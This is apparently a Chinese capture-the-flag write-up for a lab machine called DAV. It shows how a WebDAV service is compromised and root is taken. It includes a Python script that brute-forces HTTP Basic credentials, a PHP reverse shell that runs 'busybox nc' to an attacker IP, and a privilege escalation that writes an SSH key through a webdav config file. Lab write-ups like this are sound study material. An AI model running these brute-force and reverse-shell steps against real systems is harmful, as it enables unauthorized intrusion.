靶机DAV

userflag(web打点)

端口扫描

image-20260311185735944

一个80的web服务,还有一个6065的其它服务,后面知道其实是webdav服务,简单来说就是网络文件夹

80端口发现一个子域名:dev.dav.dsz

然后目录扫描没扫除东西

image-20260311203127559

但是这截图证明是和webdav有关,先放在这!

6065webdav服务,需要http basic认证,直接脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import base64

url = "http://192.168.3.7:6065/"
user = "admin"

password_file = r"C:\Users\MR\Documents\top密码\top1000.txt"

with open(password_file, "r", encoding="utf-8", errors="ignore") as f:
passwords = f.read().splitlines()

for p in passwords:
auth = f"{user}:{p}"
b64 = base64.b64encode(auth.encode()).decode()

headers = {
"Authorization": f"Basic {b64}"
}

try:
r = requests.get(
url,
headers=headers,
allow_redirects=False,
proxies={"http": None, "https": None},
timeout=5
)

print(f"{user}:{p} -> {r.status_code}")

if r.status_code in [200, 301, 302, 207]:
print(f"\n[+] SUCCESS FOUND: {user}:{p}")
break

except:
pass

然后就是你爆破毕竟是靠运气吗,所以你字典尽量多弄点,网上查查常见的webdav的默认密码啥的!

1
[+] SUCCESS FOUND: admin:qwertyuiop

然后使用cadaver去连接

1
2
3
4
5
6
7
ls                  # 列出目录
cd folder # 进入子目录
put localfile.txt # 上传本地文件到服务器
get remotefile.txt # 下载服务器文件到本地
delete remotefile.txt # 删除服务器文件
mkdir newfolder # 新建目录
quit # 退出连接

然后下面拿到两个关键信息

1
2
3
4
5
dav:/projects/webapp-api/> cat .env.example
DB_HOST=127.0.0.1
DB_USER=dev_user
DB_PASS=P@ssw0rd2026!
AWS_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE

这里有个密码可以尝试ssh密码复用啥的,但是dev_user不行

test文件

1
<?php phpinfo(); ?>

想着是php文件访问一些发现不解析(这里正常思路就是还要尝试一下其它文件和webdav下的其它目录能不能解析)但是都不行

这里其实就应该将整合起来看,前面那个子域名不也是webdav目录吗(这里打的时候考虑的是通过80端口去文件包含)

image-20260311204555095

直接覆盖test,写反弹shell就好了

1
2
3
<?php
exec("busybox nc 192.168.3.6 6666 -e /bin/sh");
?>

rootflag(提权)

拿到shell之后就开始乱搞,直接linpeas扫一遍,反正无效的操作搞了好久

密码复用ssh连接user

image-20260311210041195

提权到user再去root

image-20260311210119164

这个webdav网上没有提权思路,得看它具体命令可以怎么用,其实就是关于搭建webdav服务器的命令。

通过配置文件提权,使用-c参数指定按照配置文件启动webdav,先去看看/etc/webdav/config.yaml

image-20260311213446520

我们创建一个类型的文件把端口和目录改下

image-20260311213559700

然后访问

image-20260311213823119

写入公钥

image-20260311221745110

然后免密连接

image-20260311221824324